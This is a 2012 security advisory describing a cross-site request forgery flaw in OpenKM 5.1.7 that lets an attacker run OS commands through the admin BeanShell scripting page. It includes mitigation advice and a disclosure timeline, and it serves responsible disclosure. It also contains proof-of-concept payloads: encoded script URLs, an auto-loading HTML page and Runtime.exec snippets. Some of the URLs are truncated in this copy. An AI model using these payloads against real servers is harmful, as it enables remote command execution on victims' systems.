OpenKM 5.1.7 OS Command Execution (XSRF based)

Type securityvulns
Reporter Securityvulns
Modified 2012-01-09T00:00:00



ID: COMPASS-2012-002

Product: OpenKM Document Management System 5.1.7 [1]

Vendor: OpenKM

Subject: Cross-site Request Forgery based OS Command Execution

Risk: High

Effect: Remotely exploitable

Author: Cyrill Brunschwiler (

Date: January 2nd 2012


Cyrill Brunschwiler, Security Analyst at Compass Security Network Computing, Switzerland discovered a web application issue based OS command execution flaw in the OpenKM solution. OpenKM does allow administrative users (having the AdminRole) to run bean shell scripts. Due to the flaw, an attacker could lure an OpenKM administrator to a malicious web page that causes arbitrary OS commands being run in the administrators OpenKM session context. This is possible because OpenKM does not implement access control mechanisms to avoid so called Cross-site Request Forgery [2] (a.k.a. CSRF, XSRF, session riding, forceful browsing). The commands are being executed silently. In the end, this allows an attacker to run OS commands with the privileges of the process owner of the application server (JBOSS).


OpenKM version 5.1.7

Not vulnerable:

OpenKM version 5.1.8


To avoid this issue the application must introduce Anti-XSRF tokens for the web-based administrative interface. To avoid arbitrary command execution the admin/scripting.jsp could be removed from the OpenKM.ear before the application is being deployed. Note, the cron job functionality allows to run *.jar and BeanShell scripts as well.


Login as administrator (having the AdminRole) and call the URL in a different browser window D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp% 2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B

Alternatively the administrator could browse a prepared HTML page in a new tab <html> <body> <script> img = new Image(); img.src=" 5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3 E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B" </script> </body> </html>

The above exploit does nothing else than just creating a file in /tmp

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"}; Runtime.getRuntime().exec(cmd);

Some might also want to browse directories*%3B %0D%0A%0D%0Atry+%7B%0D%0A++++String+ls_str%3B%0D%0A++++Process+ls_proc+% 3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B%0D%0A+++ +DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream% 28%29%29%3B%0D%0A%0D%0A++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%2 9+%21%3D+null%29+++++++++++%0D%0A++++++++print%28ls_str+%2B+%22%3Cbr%3E% 22%29%3B%0D%0A%0D%0A%7D+catch+%28IOException+e%29+%7B%0D%0A%7D


try { String ls_str; Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah"); DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());

while &#40;&#40;ls_str = ls_in.readLine&#40;&#41;&#41; != null&#41;           
    print&#40;ls_str + &quot;&lt;br&gt;&quot;&#41;;

} catch (IOException e) { }


August 6th, Vulnerability discovered August 9th, Vendor contacted August 10th, Vendor notified December 1st, Patched version released January 2nd, Advisory released


[1] OpenKM is an Free/Libre document management system that provides a web interface for managing arbitrary files. OpenKM includes a content repository, Lucene indexing, and jBPM workflow. The OpenKM system was developed using Java technology.

[2] Cross-site Request Forgery CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.